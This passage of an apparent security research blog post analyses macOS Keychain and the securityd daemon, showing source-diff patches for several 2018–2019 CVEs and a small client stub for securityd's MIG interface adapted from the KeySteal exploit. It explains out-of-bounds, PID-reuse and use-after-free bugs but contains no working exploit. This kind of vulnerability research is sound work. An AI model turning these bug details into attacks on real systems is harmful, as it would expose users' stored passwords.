{</span><br><span class="line"> <span class="keyword">case</span> sec_item_add_id:</span><br><span class="line"> {</span><br><span class="line"> _SecItemAdd(query, &client, &result, &error) && result);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>In _SecItemAdd, query data will be translated to Sqlite3 sql statement, and in the end data will be inserted into sqlite3 database. What needs to be pointed out is that password will be encryptd before insert into database, and other non-secret fields will keep plain, this plain fields provide Keychain item searching support.</p><p>So far, inserting new website password to Keychain based on SecItemAdd API finished. The newly inserted Keychain item is save to Login Keychain, Login Keychain will be locked when user logout or machine poweroff.</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">static</span> CFStringRef <span class="title">SecDbItemCopyInsertSQL</span><span class="params">(SecDbItemRef item, <span class="type">bool</span>(^use_attr)(<span class="type">const</span> SecDbAttr *attr))</span> </span>{</span><br><span class="line"> CFMutableStringRef sql = <span class="built_in">CFStringCreateMutable</span>(<span class="built_in">CFGetAllocator</span>(item), <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">"INSERT INTO "</span>));</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, item-><span class="keyword">class</span>->name);</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">"("</span>));</span><br><span class="line"> <span class="type">bool</span> needComma = <span class="literal">false</span>;</span><br><span class="line"> CFIndex used_attr = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">SecDbForEachAttr</span>(item-><span class="keyword">class</span>, attr) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">use_attr</span>(attr)) {</span><br><span class="line"> ++used_attr;</span><br><span class="line"> <span class="built_in">SecDbAppendElement</span>(sql, attr->name, &needComma);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">")VALUES(?"</span>));</span><br><span class="line"> <span class="keyword">while</span> (used_attr-- > <span class="number">1</span>) {</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">",?"</span>));</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">CFStringAppend</span>(sql, <span class="built_in">CFSTR</span>(<span class="string">")"</span>));</span><br><span class="line"> <span class="keyword">return</span> sql;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="SecurityServer-与-SecurityAgent"><a href="#SecurityServer-与-SecurityAgent" class="headerlink" title="SecurityServer 与 SecurityAgent"></a>SecurityServer 与 SecurityAgent</h2><p>Login Keychain is unlocked when user unlock the device, so wo do not see Keychain decryption or unlocking in the previous inserting keychain item.</p><p>However System Keychain or private Keychain(user created) will need Keychain encryption/decryption, locking/unlocing, Security Server is responsible for that.</p><p>Security Server(/usr/sbin/securityd) is a daemon service process which run as root, as the architecture diagram shows, Security Server offsers CSP/DL plugin for CDSA, namely data encryption and storage.</p><p>Security Server host service based on ucsp MIG interface, clients can access the internal Server object through mig interface. Fortunately any process can use this ucsp MIG interface.</p><p>By reading the source code, I see many features provided by Security Server:</p><ul><li>Managing Security Server’s clients(Session, Connection)</li><li>Authentication and authrization</li><li>Managing Keychain databases</li><li>Code signature generating/verifying</li><li>Data encryption and decryption(ucsp_server_encrypt, ucsp_server_decrypt)</li><li>Key, key pair generating(ucsp_server_generateKey, ucsp_server_generateKeyPair, ucsp_server_wrapKey, ucsp_server_unwrapKey)</li><li>Code Signing Hosting(disappeared in 10.15, not yet in-depth analysis)</li></ul><p>It is obvious that Security Server(securityd) has many highly privileged operations, and it manages a lot of sensitive data, run as root, so if we can find a vulnerability in this service process, it will have a big impact.</p><p>KeySteal is such a vulnerability occurred in securityd, when successfully exploited, any process can access passwords hold by Keychain.</p><p>But how can we interact with Security Server(securityd) based on MIG interface? </p><p>The ucsp MIG definition file exists in the source code of Security framework(OSX/libsecurityd/mig/ucsp.defs). Unfortunately only a few documentations about MIG can be found, and none of them can be found about interacting with Security Server certainly. In the end, I extract the code snippet which meet our needs from Linus Henze’s <a href="https://github.com/LinusHenze/Keysteal">KeySteal Exploit</a>, based on the snippet, I create a simple ucsp client accessing Security Server’s ucsp_server_setup interface.</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> UCSP_ARGS gServerPort, gReplyPort, &securitydCreds, &rcode</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ATTRDATA(attr) (void *)(attr), (attr) ? strlen((attr)) : 0</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CALL(func) \</span></span><br><span class="line"><span class="meta"> security_token_t securitydCreds; \</span></span><br><span class="line"><span class="meta"> CSSM_RETURN rcode; \</span></span><br><span class="line"><span class="meta"> <span class="keyword">if</span> (KERN_SUCCESS != func) \</span></span><br><span class="line"><span class="meta"> return errSecCSInternalError; \</span></span><br><span class="line"><span class="meta"> <span class="keyword">if</span> (securitydCreds.val[0] != 0) \</span></span><br><span class="line"><span class="meta"> return CSSM_ERRCODE_VERIFICATION_FAILURE; \</span></span><br><span class="line"><span class="meta"> return rcode</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SSPROTOVERSION 20000</span></span><br><span class="line"></span><br><span class="line"><span class="type">mach_port_t</span> gServerPort;</span><br><span class="line"><span class="type">mach_port_t</span> gReplyPort;</span><br><span class="line"></span><br><span class="line"><span class="function">CSSM_RETURN <span class="title">securityd_setup</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="built_in">mach_port_allocate</span>(<span class="built_in">mach_task_self</span>(), MACH_PORT_RIGHT_RECEIVE, &gReplyPort);</span><br><span class="line"> <span class="built_in">mach_port_insert_right</span>(<span class="built_in">mach_task_self</span>(), gReplyPort, gReplyPort, MACH_MSG_TYPE_MAKE_SEND);</span><br><span class="line"> <span class="built_in">bootstrap_look_up</span>(bootstrap_port, (<span class="type">char</span>*)<span class="string">"com.apple.SecurityServer"</span>, &gServerPort);</span><br><span class="line"> ClientSetupInfo info = { <span class="number">0x1234</span>, SSPROTOVERSION };</span><br><span class="line"> <span class="built_in">CALL</span>(<span class="built_in">ucsp_client_setup</span>(UCSP_ARGS, <span class="built_in">mach_task_self</span>(), info, <span class="string">"?:unspecified"</span>));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="type">mach_port_t</span> port;</span><br><span class="line"> <span class="type">mach_port_t</span> bootstrap_port;</span><br><span class="line"> <span class="built_in">task_get_bootstrap_port</span>(<span class="built_in">mach_task_self</span>(), &bootstrap_port);</span><br><span class="line"> <span class="type">kern_return_t</span> kr = <span class="built_in">bootstrap_look_up</span>(bootstrap_port, <span class="string">"com.apple.SecurityServer"</span>, &port);</span><br><span class="line"> <span class="built_in">securityd_setup</span>();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="SecurityAgent"><a href="#SecurityAgent" class="headerlink" title="SecurityAgent"></a>SecurityAgent</h3><p>As mentioned above, Security Server is also responsible for managing authentication and authroization.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/auth_security_agent.png" class="" title="Image"><p>When client request Security Server to launch authentication/authroization verifying, if Security Server need to interact with the user (enter password) to verify identity, Security Server daemon will talk to Security Agent through XPC communication. The Security Agent, run as current user, pop up the interactive dialog to user, and then passwords typed by user will send back to Security Server, Security Server processing the actual verification. Throughout all the verification process, client DO NOT touch any sensitive information(such as passwords), all it can get is the verification result, true or false, yes or not. This mechanism can avoid the leakage of sensitive information and at the same time it will be transparent to the client when system add new authentication extension.</p><img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-EN/securityd_securityagent.jpg" class="" title="Image"><h2 id="Vulnerabilities-History"><a href="#Vulnerabilities-History" class="headerlink" title="Vulnerabilities History"></a>Vulnerabilities History</h2><p>After we have learned some of the necessary Security framework architecture content above, let’s move on to the Security framework vulnerabilities which occured in macOS 10.14.*, and try to understand how the vulnerability works and what components the vulnerability is in.</p><p>What needs to be declared in advance is that Apple do not provide any details about the patched vulnerabilities except short title. The following are my own analysis based on the source code diff, so it also means that the results may not be entirely correct. If you find any mistakes or omissions, please don’t hesitate to point them out.</p><h3 id="CVE-2019-8604-fixed-in-10-14-5"><a href="#CVE-2019-8604-fixed-in-10-14-5" class="headerlink" title="CVE-2019-8604 (fixed in 10.14.5)"></a>CVE-2019-8604 (fixed in 10.14.5)</h3><p>By comparing the two versions of the source code, vulerability patch of CVE-2019-8604 can be found.</p><p>This vulnerablity exists in Security Server Daemon(securityd), when Security Server deal with Keychain database name, ucsp_server_setDbName of mig interface can set any length of dbname to Security Server object, ucsp_server_getDbName of interface will copy the given dbname to name parameter, the name parameter is designed to length PATH_MAX. So, if we pass a overlong dbname, ucsp_server_getDbName will trigger OOB write when memcpy.</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- a/Security-58286.251.4/securityd/src/transition.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.260.20/securityd/src/transition.cpp</span></span><br><span class="line"></span><br><span class="line"><span class="addition">+static void checkPathLength(char const *str) {</span></span><br><span class="line"><span class="addition">+ if (strlen(str) >= PATH_MAX) {</span></span><br><span class="line"><span class="addition">+ secerror("SecServer: path too long");</span></span><br><span class="line"><span class="addition">+ CssmError::throwMe(CSSMERR_CSSM_MEMORY_ERROR);</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"><span class="addition">+}</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@@ -306,15 +313,16 @@</span> kern_return_t ucsp_server_getDbName(UCSP_ARGS, DbHandle db, char name[PATH_MAX])</span><br><span class="line"> {</span><br><span class="line"> BEGIN_IPC(getDbName)</span><br><span class="line"> string result = Server::database(db)->dbName();</span><br><span class="line"><span class="deletion">- assert(result.length() < PATH_MAX);</span></span><br><span class="line"><span class="addition">+ checkPathLength(result.c_str());</span></span><br><span class="line"> memcpy(name, result.c_str(), result.length() + 1);</span><br><span class="line"></span><br><span class="line"> END_IPC(DL)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> kern_return_t ucsp_server_setDbName(UCSP_ARGS, DbHandle db, const char *name)</span><br><span class="line"> {</span><br><span class="line"> BEGIN_IPC(setDbName)</span><br><span class="line"><span class="addition">+ checkPathLength(name);</span></span><br><span class="line"> Server::database(db)->dbName(name);</span><br><span class="line"> END_IPC(DL)</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>It is quite natural that the patch add a checking to length of dbname, to avode overlong dbname triggering oob memory copying. One more point to explain, both std::string and strlen can and only can be truncated by “\0”, so the way of setDbName and getDbName treating dbname is consistent.</p><h3 id="CVE-2019-8520-fixed-in-10-14-4"><a href="#CVE-2019-8520-fixed-in-10-14-4" class="headerlink" title="CVE-2019-8520 (fixed in 10.14.4)"></a>CVE-2019-8520 (fixed in 10.14.4)</h3><p>By comparing the two versions of the source code, vulerability patch of CVE-2019-8520 can be found.</p><p>This vulnerablity exists also in Security Server Daemon(securityd), when Security Server deal with authroization or authentication, if it need to interact with the user (enter password) to verify identity, it will ask for Security Agent’s help, Security Agent finally pop up a diaglog to user.</p><p>The communication between Security Server and Security Agent is based on XPC, when receiving response from Security Agent, in xpcArrayToAuthItemSet, the data(AUTH_XPC_ITEM_VALUE) and the length(AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH) are passed by two separate fields. If providing a small data and a big length, sensitiveLength bytes of data will be copied from data to dataCopy, if sensitiveLength exceeds the actual size of data. OOB read will occurs.</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/agentquery.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/agentquery.cpp</span></span><br><span class="line"></span><br><span class="line">static void xpcArrayToAuthItemSet(AuthItemSet *setToBuild, xpc_object_t input) {</span><br><span class="line"> setToBuild->clear();</span><br><span class="line"></span><br><span class="line"> xpc_array_apply(input, ^bool(size_t index, xpc_object_t item) {</span><br><span class="line"> const char *name = xpc_dictionary_get_string(item, AUTH_XPC_ITEM_NAME);</span><br><span class="line"></span><br><span class="line"> size_t length;</span><br><span class="line"> const void *data = xpc_dictionary_get_data(item, AUTH_XPC_ITEM_VALUE, &length);</span><br><span class="line"> void *dataCopy = 0;</span><br><span class="line"></span><br><span class="line"> // <rdar://problem/13033889> authd is holding on to multiple copies of my password in the clear</span><br><span class="line"> bool sensitive = xpc_dictionary_get_value(item, AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH);</span><br><span class="line"> if (sensitive) {</span><br><span class="line"> size_t sensitiveLength = (size_t)xpc_dictionary_get_uint64(item, AUTH_XPC_ITEM_SENSITIVE_VALUE_LENGTH);</span><br><span class="line"><span class="addition">+ if (sensitiveLength > length) {</span></span><br><span class="line"><span class="addition">+ secnotice("SecurityAgentXPCQuery", "Sensitive data len %zu is not valid", sensitiveLength);</span></span><br><span class="line"><span class="addition">+ return true;</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"> dataCopy = malloc(sensitiveLength);</span><br><span class="line"> memcpy(dataCopy, data, sensitiveLength);</span><br><span class="line"> memset_s((void *)data, length, 0, sensitiveLength); // clear the sensitive data, memset_s is never optimized away</span><br><span class="line"> length = sensitiveLength;</span><br><span class="line"> } else {</span><br><span class="line"> dataCopy = malloc(length);</span><br><span class="line"> memcpy(dataCopy, data, length);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> uint64_t flags = xpc_dictionary_get_uint64(item, AUTH_XPC_ITEM_FLAGS);</span><br><span class="line"> AuthItemRef nextItem(name, AuthValueOverlay((uint32_t)length, dataCopy), (uint32_t)flags);</span><br><span class="line"> setToBuild->insert(nextItem);</span><br><span class="line"> memset(dataCopy, 0, length); // The authorization items contain things like passwords, so wiping clean is important.</span><br><span class="line"> free(dataCopy);</span><br><span class="line"> return true;</span><br><span class="line"> });</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>The patch add a checking, to ensure that sensitiveLength is not greater than actual size of data.</p><h3 id="CVE-2019-8526-fixed-in-10-14-4"><a href="#CVE-2019-8526-fixed-in-10-14-4" class="headerlink" title="CVE-2019-8526 (fixed in 10.14.4)"></a>CVE-2019-8526 (fixed in 10.14.4)</h3><p>By comparing the two versions of the source code, vulerability patch of CVE-2019-8526 can be found.</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/child.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/child.cpp</span></span><br><span class="line"><span class="meta">@@ -57,7 +57,7 @@</span> ServerChild::ServerChild()</span><br><span class="line"> //</span><br><span class="line"> ServerChild::~ServerChild()</span><br><span class="line"> {</span><br><span class="line"><span class="deletion">- mServicePort.destroy();</span></span><br><span class="line"><span class="addition">+ mServicePort.deallocate();</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/clientid.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/clientid.cpp</span></span><br><span class="line"><span class="meta">@@ -45,14 +45,18 @@</span> ClientIdentification::ClientIdentification()</span><br><span class="line"> // Initialize the ClientIdentification.</span><br><span class="line"> // This creates a process-level code object for the client.</span><br><span class="line"> //</span><br><span class="line"><span class="deletion">-void ClientIdentification::setup(pid_t pid)</span></span><br><span class="line"><span class="addition">+void ClientIdentification::setup(Security::CommonCriteria::AuditToken const &audit)</span></span><br><span class="line"> {</span><br><span class="line"> StLock<Mutex> _(mLock);</span><br><span class="line"> StLock<Mutex> __(mValidityCheckLock);</span><br><span class="line"><span class="deletion">- OSStatus rc = SecCodeCreateWithPID(pid, kSecCSDefaultFlags, &mClientProcess.aref());</span></span><br><span class="line"><span class="deletion">- if (rc)</span></span><br><span class="line"><span class="deletion">- secinfo("clientid", "could not get code for process %d: OSStatus=%d",</span></span><br><span class="line"><span class="deletion">- pid, int32_t(rc));</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ audit_token_t const token = audit.auditToken();</span></span><br><span class="line"><span class="addition">+ OSStatus rc = SecCodeCreateWithAuditToken(&token, kSecCSDefaultFlags, &mClientProcess.aref());</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ if (rc) {</span></span><br><span class="line"><span class="addition">+ secerror("could not get code for process %d: OSStatus=%d",</span></span><br><span class="line"><span class="addition">+ audit.pid(), int32_t(rc));</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"> mGuests.erase(mGuests.begin(), mGuests.end());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/csproxy.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/csproxy.cpp</span></span><br><span class="line"><span class="meta">@@ -64,13 +64,12 @@</span> void CodeSigningHost::reset()</span><br><span class="line"> case noHosting:</span><br><span class="line"> break; // nothing to do</span><br><span class="line"> case dynamicHosting:</span><br><span class="line"><span class="deletion">- mHostingPort.destroy();</span></span><br><span class="line"><span class="deletion">- mHostingPort = MACH_PORT_NULL;</span></span><br><span class="line"><span class="addition">+ mHostingPort.deallocate();</span></span><br><span class="line"> secnotice("SecServer", "%d host unregister", mHostingPort.port());</span><br><span class="line"> break;</span><br><span class="line"> case proxyHosting:</span><br><span class="line"> Server::active().remove(*this); // unhook service handler</span><br><span class="line"><span class="deletion">- mHostingPort.destroy(); // destroy receive right</span></span><br><span class="line"><span class="addition">+ mHostingPort.modRefs(MACH_PORT_RIGHT_RECEIVE, -1);</span></span><br><span class="line"> mHostingState = noHosting;</span><br><span class="line"> mHostingPort = MACH_PORT_NULL;</span><br><span class="line"> mGuests.erase(mGuests.begin(), mGuests.end());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/process.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/process.cpp</span></span><br><span class="line"><span class="meta">@@ -40,7 +40,7 @@</span></span><br><span class="line"> // Construct a Process object.</span><br><span class="line"> //</span><br><span class="line"> Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCriteria::AuditToken &audit)</span><br><span class="line"><span class="deletion">- : mTaskPort(taskPort), mByteFlipped(false), mPid(audit.pid()), mUid(audit.euid()), mGid(audit.egid())</span></span><br><span class="line"><span class="addition">+ : mTaskPort(taskPort), mByteFlipped(false), mPid(audit.pid()), mUid(audit.euid()), mGid(audit.egid()), mAudit(audit)</span></span><br><span class="line"> {</span><br><span class="line"> StLock<Mutex> _(*this);</span><br><span class="line"></span><br><span class="line"><span class="meta">@@ -48,6 +48,11 @@</span> Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCri</span><br><span class="line"> parent(Session::find(audit.sessionId(), true));</span><br><span class="line"></span><br><span class="line"> // let's take a look at our wannabe client...</span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ // Not enough to make sure we will get the right process, as</span></span><br><span class="line"><span class="addition">+ // pids get recycled. But we will later create the actual SecCode using</span></span><br><span class="line"><span class="addition">+ // the audit token, which is unique to the one instance of the process,</span></span><br><span class="line"><span class="addition">+ // so this just catches a pid mismatch early.</span></span><br><span class="line"> if (mTaskPort.pid() != mPid) {</span><br><span class="line"> secnotice("SecServer", "Task/pid setup mismatch pid=%d task=%d(%d)",</span><br><span class="line"> mPid, mTaskPort.port(), mTaskPort.pid());</span><br><span class="line"><span class="meta">@@ -55,7 +60,14 @@</span> Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCri</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> setup(info);</span><br><span class="line"><span class="deletion">- ClientIdentification::setup(this->pid());</span></span><br><span class="line"><span class="addition">+ ClientIdentification::setup(this->audit_token());</span></span><br></pre></td></tr></table></figure><p>This is the KeySteal vulnerability that I have read paper before, vulnerablity exists in Security Server Daemon(securityd), Security Server provides a feature named Hosting Guest Code. Two problems can be seen from the vulnerability patch:</p><ul><li><p>The first one exists in implementing Hosting Guest Code. When Security Server creeate SecCode object, it use SecCodeCreateWithPID API, this API identifies the client process by pid, so as the comment code in the patch says, there is a problem with PID Reuse. The way fix this problem is replacing SecCodeCreateWithPID with SecCodeCreateWithAuditToken, SecCodeCreateWithAuditToken API identifies the client process by audit token. Reasons and attack methods for pid reuse has already been fully explained in Samuel Groß’s <a href="https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf">《Don’t Trust the PID!》</a></p></li><li><p>The second is the reference counting problem of mach port. CodeSigningHost::reset() calls destory() to forcibly release mach port. But the destroyed mach port may still be referenced by some data structures, and the mach port in the user-mode process itself is a Mach Port Name, it’s just a number. Since it’s number, there’s a possibility of reuse, so, UAF can be implemented if we can reoccupy it before the next use. It’s easy to fix the problem, replace destory() with a reference-counted version of deallocate().</p></li></ul><h3 id="CVE-2018-4400-fixed-in-10-14-1"><a href="#CVE-2018-4400-fixed-in-10-14-1" class="headerlink" title="CVE-2018-4400 (fixed in 10.14.1)"></a>CVE-2018-4400 (fixed in 10.14.1)</h3><p>The vulnerability is described in Apple bulletin that denies service when processing S/MIME messages. Through code comparison, I got a suspected patch, and I am not sure.</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- a/Security-58286.200.222/OSX/libsecurity_smime/lib/smimeutil.c</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.220.15/OSX/libsecurity_smime/lib/smimeutil.c</span></span><br><span class="line"><span class="meta">@@ -733,6 +733,8 @@</span> SecSMIMEGetCertFromEncryptionKeyPreference(SecKeychainRef keychainOrArray, CSSM_</span><br><span class="line"> cert = CERT_FindCertByIssuerAndSN(keychainOrArray, rawCerts, NULL, tmppoolp, ekp.id.issuerAndSN);</span><br><span class="line"> break;</span><br><span class="line"> case NSSSMIMEEncryptionKeyPref_RKeyID:</span><br><span class="line"><span class="addition">+ cert = CERT_FindCertBySubjectKeyID(keychainOrArray, rawCerts, NULL, &ekp.id.recipientKeyID->subjectKeyIdentifier);</span></span><br><span class="line"><span class="addition">+ break;</span></span><br><span class="line"> case NSSSMIMEEncryptionKeyPref_SubjectKeyID:</span><br><span class="line"> cert = CERT_FindCertBySubjectKeyID(keychainOrArray, rawCerts, NULL, ekp.id.subjectKeyID);</span><br><span class="line"> break;</span><br></pre></td></tr></table></figure><p>I am not very familiar with certificate management and related data structures for the time being, so I will not analyze further.</p><p>The above are some of the identified vulnerabilities and patches that I have found so far. Because Apple open source code lags behind version updates, this vulnerabilities exists in 10.14.*.</p><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>This blog is what I researched and did during this time about Security Framework. The source code of Security Framework is huge and I only focused on Keychain and Security Server components that have been found to have more vulnerabilities in history。Other components like Auth will be analyzed when I have time, and, of course, I will continue to share with community through this site.</p><p>If you find something wrong above, or you are also interested in macOS, welcome to ping me <a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p>[1] Documentation of Security Framework</p><p><a href="https://developer.apple.com/documentation/security?language=objc">https://developer.apple.com/documentation/security?language=objc</a></p><p>[2] Apple Open Source Code</p><p><a href="https://opensource.apple.com/">https://opensource.apple.com/</a></p><p>[3] KeySteal Vulnerability</p><p><a href="https://www.pinauten.de/resources/KeySteal_OBTS_2019.pdf">https://www.pinauten.de/resources/KeySteal_OBTS_2019.pdf</a></p><p>[4] Keychain Wikipedia</p><p><a href="https://en.wikipedia.org/wiki/Keychain_(software)">https://en.wikipedia.org/wiki/Keychain_(software)</a></p>]]></content>
<summary type="html"><p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) of Tencent Security Xuanwu Lab</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>COVID-19 outbreak keep me from going out,I have been researching macOS’s Security framework in the past two weeks of homeworking.</p>
<p>In this blog, I will try to analyze Security framework, especially Keychain, and previous vulnerabilities of the Secuirty framework。</p>
